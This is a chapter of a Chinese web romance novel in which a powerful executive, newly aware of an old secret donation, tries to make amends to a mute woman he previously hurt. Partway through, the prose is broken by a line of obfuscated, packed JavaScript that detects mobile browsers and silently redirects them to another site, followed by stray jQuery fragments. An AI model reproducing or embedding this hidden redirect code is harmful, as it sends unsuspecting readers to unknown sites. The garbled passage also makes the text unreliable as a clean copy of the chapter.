入夜,“往事”酒吧。
震耳音乐声几乎盖过人语,但位于三楼的VIP包厢里,隔音良好,门扉关闭时,只能隐约听到微小的乐声。
声音陡然抬高,又被隔绝,是有人推门进来。
辜苏依然穿着那身不抗冻的廉价羽绒服,手指和脸颊都已冻僵,泛着不正常的红,即使酒吧里有暖气,一时半会儿也缓不过来。
丝巾没绑在脖子上,那道伤疤就这样暴露在人前,一路走来,吸引了不少奇异的目光。
她就这样站在包厢门内,后背贴着门板,与她遥遥相对的,是坐在主位的穆总。
包厢里烟雾缭绕,显然他在这里已经等了好一会儿,烟灰缸里积了两三根烟蒂,还有薄薄一层烟灰。
见她来了,穆盛洲将指间烟蒂摁灭,指了指身侧座位,示意她坐下。
辜苏垂着头,慢慢走过去,似是很不情愿一般,屁股刚沾到座位,就举起手机,把早已打好的字给他看:
【请问离职手续还有哪里要补充?】
穆盛洲定定地看着那行字,又将视线移到她脸上。
唇线紧绷,下巴也绷得紧紧的。
肉眼可见地紧张。
也难怪她会紧张。
从前,他指明要她进包厢做的事,对她来说都不是什么愉快的回忆。
她今天不来他都不会意外。
辜苏一开始还能和他对视,两三秒后,又自觉垂下眼帘。
自然界中,动物之间的对视代表挑衅,所以先移开目光,代表着避让和顺从。
辜苏明白,对待穆盛洲这样绝对强势的人,硬碰硬绝对不是明智之举。
她能以女性身份,成为部分时候需要靠力量压制犬类的训犬师,靠的就是揣摩犬类心理。
她的训犬风格也多是正向引导为主,很少上强度,给压力,堪称春风化雨。
这也是她选择贯彻原主对待穆盛洲的态度的原因——
她和穆盛洲的相处模式,几乎都采取正向引导的方式。
当他做出正确的、她希望他做的行为时,就给予奖励。
做错不予反馈,或是不让他得到想要的结果。
时间一久,他自然就能想清楚,该用什么态度对她。
不过遗憾的是,穆总目前为止,还没有做对过。
辜苏出的试卷,他不但答得乱七八糟,还扔在地上踩了一脚。
好在她也不是很在意,总归穆盛洲不是她的主要目标。
此时,他以离职手续没办全为借口将她叫到这里来,她心中已经隐约猜到了些许缘由。
大概这一回,穆总是想要开始正经答题了。
果然,在她提到关于离职手续的问题时,穆盛洲抬手,做了个打住的动作:
“你先说清楚,那张捐赠协议的照片是怎么回事?”
辜苏低头,默默打字,穆盛洲则坐在一旁,盯着她的屏幕,一眨不眨。
【十年前,楚沉把省级锦标赛的奖金捐出去了,以我的名义。我当时不明白他为什么这么做,听到你的故事才想起来,穆怀灵就是他捐助的那个人。很可惜,她最后还是没有救回来。】
穆盛洲向后靠在沙发背上,沉默许久,才将大掌盖在脸上,闷声道:
“为什么要匿名。”
片刻之后,辜苏拍了拍他的肩膀,给他看:
【我对当年的事情不了解。但是他做事一向光明磊落,那次没有留名字,甚至用了我的名字,可能是不想让你知道,这件事是他做的。】
穆盛洲将当年的事情仔仔细细想了一回,突兀地笑了一声:
“他是怕我以后还会用一样的招数……”
如果他靠作弊赢了比赛,那么他今后遇到难以战胜的对手时,还会下意识作弊。
被发现,职业生涯会就此葬送。
即使侥幸没被发现,对其他选手也不公平。
所以楚沉不能输给他,不能倒下,即使遍体鳞伤,也必须一次次爬起来。
如果他输了比赛,却还是借到了奖金,这无疑代表着一种对他作弊手段的默认和肯定。
楚沉决不允许。
宁可做好事不留名,将奖金以别人的名义,匿名捐赠出去。
想通这一点,穆盛洲双手捂住脸,发出沉闷的、自嘲的笑声。
那笑声带动胸腔震颤,听着竟有一种撕心裂肺的痛。
恨了多年的人,当年竟早已暗中伸出援手,还为他考虑了那么多。
而他做了什么?
他又对对方视若珍宝的心上人做了什么?
他就像个笑话。
这件事不能细想。
一旦细想,支撑了他十年的恨意,就会摇摇欲坠,最终倒塌时,他本人的多年坚持也会随之灰飞烟灭。
他会堕入无间地狱。
辜苏似乎有些怕他,见他笑成这样,默默往远处挪了挪。
察觉到她的疏离,穆盛洲缓缓停住,眼中隐布血丝:
“五十万违约金你不用付了。还有……微信,把我从黑名单里放出来,我之后还会联系你。”
辜苏拘谨地又坐远了些,摇了摇头,那意思是不想再和他扯上关系。
穆盛洲起身,如山身躯向她走去,压迫感极强,辜苏下意识起身要逃,立刻被他紧走几步,攥住手臂,急道:
“别怕!”
清晰感觉到掌心纤弱手臂在颤抖,努力往外挣扎,手上不由又用力几分。
她怕他。
辜苏被抓住,仓皇回头看他,凌乱刘海之下,那道被他强行按着磕在地上的伤口,已经结痂,狰狞丑陋,像一团碍眼的垃圾般,趴在她光洁如玉的额头上。
就在几天前,他们还是不共戴天的仇人,他在梦里都想折磨她,想看她哭泣,看她痛苦。
可现在,他想通了真相,再看她时,就已经舍不得她受一点委屈了。
现在想起来,他以前弄哭过她很多次,每一次,都极其残忍。
不能再让她哭了。
最重要的是,关于楚沉……关于楚沉入狱的真相,决不能叫她知晓!
想到这里,穆盛洲呼吸一窒,强行压下心中慌乱之感,用另一只手拨开她的刘海查看伤势。
手底下的身子抖得更厉害,她几乎是整个人都缩起来,像是通过这个伤疤又想起了那天的事情,生怕他再打她。
他怎么可能打她!?
穆盛洲宽厚指腹轻轻拂过凹凸不平的伤口,尽量把语气放柔,生涩又别扭:
“上药了没?”
辜苏似乎这才意识到,他是在问她的伤口。
她摇了摇头,像是意识到什么,又迅速点头。
“到底上没上。”
他被她气笑,侧过手掌,将她刘海整个向上掀起,好仔细观察伤口。
里面混着的砂砾已经洗净,但是愈合明显不如人意,隐有色素沉淀的征兆。
可能会留疤。
他松开手,走到门边,吩咐守在门口的何助:
“去买点祛疤的药来。”
再回身看了眼站在包厢正中,满脸都写着“想离开”的辜苏,又补充了句:
“还有,买件好点的女式羽绒服,再加个围巾。附近的商场这个点没开,你直接联系这个号码,让她给你拿现货。”
何助领命走了,他这才关门回身,在辜苏怯懦的目光中,径直从她手中摘过手机:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921147|160347||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“密码。”
她僵在那里没有动,视线定在手机上,很显然抗拒他触碰她的私人物品。
穆盛洲轻叹口气,把手机塞回她手里:
“那你自己来,把我从黑名单拉出来。”
她这才慢吞吞地指纹解锁,不情不愿地照办。
他也拿起自己的手机,操作着什么,不过几十秒,辜苏的微信就哐哐收到几条消息,都是转账红包,两个52000,备注自愿赠与,给她看呆了。
“我没楚沉微信,先给你。当年的比赛奖金,十万块,我连本带利还给你们了。这个数字有特殊含义,再加上备注的赠与,你也不用担心我日后会追讨回去。”
做完这一切,穆盛洲的心情看上去并没有转好。
钱是还了,可他明白,辜苏眉间阴郁和怯色,不会因此消弭。
他捏着辜苏的手臂,让她在沙发上坐下,见她坐得局促,想缓和她的紧张,也有让她暖暖身子的意思,于是亲自给她倒了杯酒,剔透酒液顺着方型酒杯杯壁缓缓流下,在昏暗灯光下轻微荡漾。
酒是他特意挑的低酒精果酒,不会醉人,也适合女士喝。
自从被穆家认回去,像给人倒酒这种伺候人的活,他已经很久没做了,一时竟有些生疏。
等他把杯子推到辜苏面前时,才发现她脸色有些不对。
她死死盯着酒杯,艰难地吞咽了几口口水,紧接着,像是被包厢里弥漫的烟味刺激到喉咙似的,捂着脖子咳嗽起来。
他连忙去拍她后背,等她好不容易缓过来,一双漾着水汽的眸子泛着红,嘴唇颤抖地望向酒杯,再看向他时,眼中的惶然无措、困惑惊慌,几乎实质化。
他先是一怔,接着突然被那双湿润的眸子提醒了——
不久前,他还强行灌她酒,灌到她神志不清,甚至晕倒,如今再经他的手把酒递给她,何其残忍?
她会不会认为这又是一场羞辱!?
“不想喝就不喝。”他连忙把杯子往远处挪了挪,动作快得酒液都被晃了出来,“你想喝点别的什么吗?果汁还是汽水?”
辜苏摇头,站起身,那意思是要走了。
“你先等等,一会儿何助回来,给你带药。”
穆盛洲按着她的肩膀,把人重又按坐回去。
辜苏焦躁地看了眼手机时间。
已经是八点半了。
她今天在外面逛了一天,照旧没有人要她一个哑巴员工。
明早还要继续找工作,她得早点回去休息。
还有楚沉……
等回去之后,还要面对他。
辜苏不由极轻地叹了口气。
一旁的穆盛洲,则默不作声地回忆着自己这些年来对辜苏做的事情。
越回忆越心慌。
他已经很多年没有这种心慌的感觉了。
十年前,捡来的妹妹死亡,八年前,被穆家认祖归宗,六年前,开始接触穆家企业。
他一个街头打拳混口饭吃的混小子,在穆家拔苗助长的高压教育下,即使有一点商业天赋在,八年里也是不知道蜕了多少层皮,熬了多少夜,才成了如今手段狠绝、眼光精准的小穆总。
喜怒不形于色已经成了刻在骨髓里的教养,事事有解法也成了他行事的准则信条。
但面对辜苏,还有楚沉,他久违地产生了一种无助的茫然无措感。
他们之间似乎没有解法。
想到这里,穆盛洲抬眼看向辜苏。
她垂着头,正在沉默地绞着手指,侧颈那道伤疤分外刺眼。
他福至心灵,忽然开口:
“辜苏,当年要杀你的那个人,我帮你查出来,好不好?”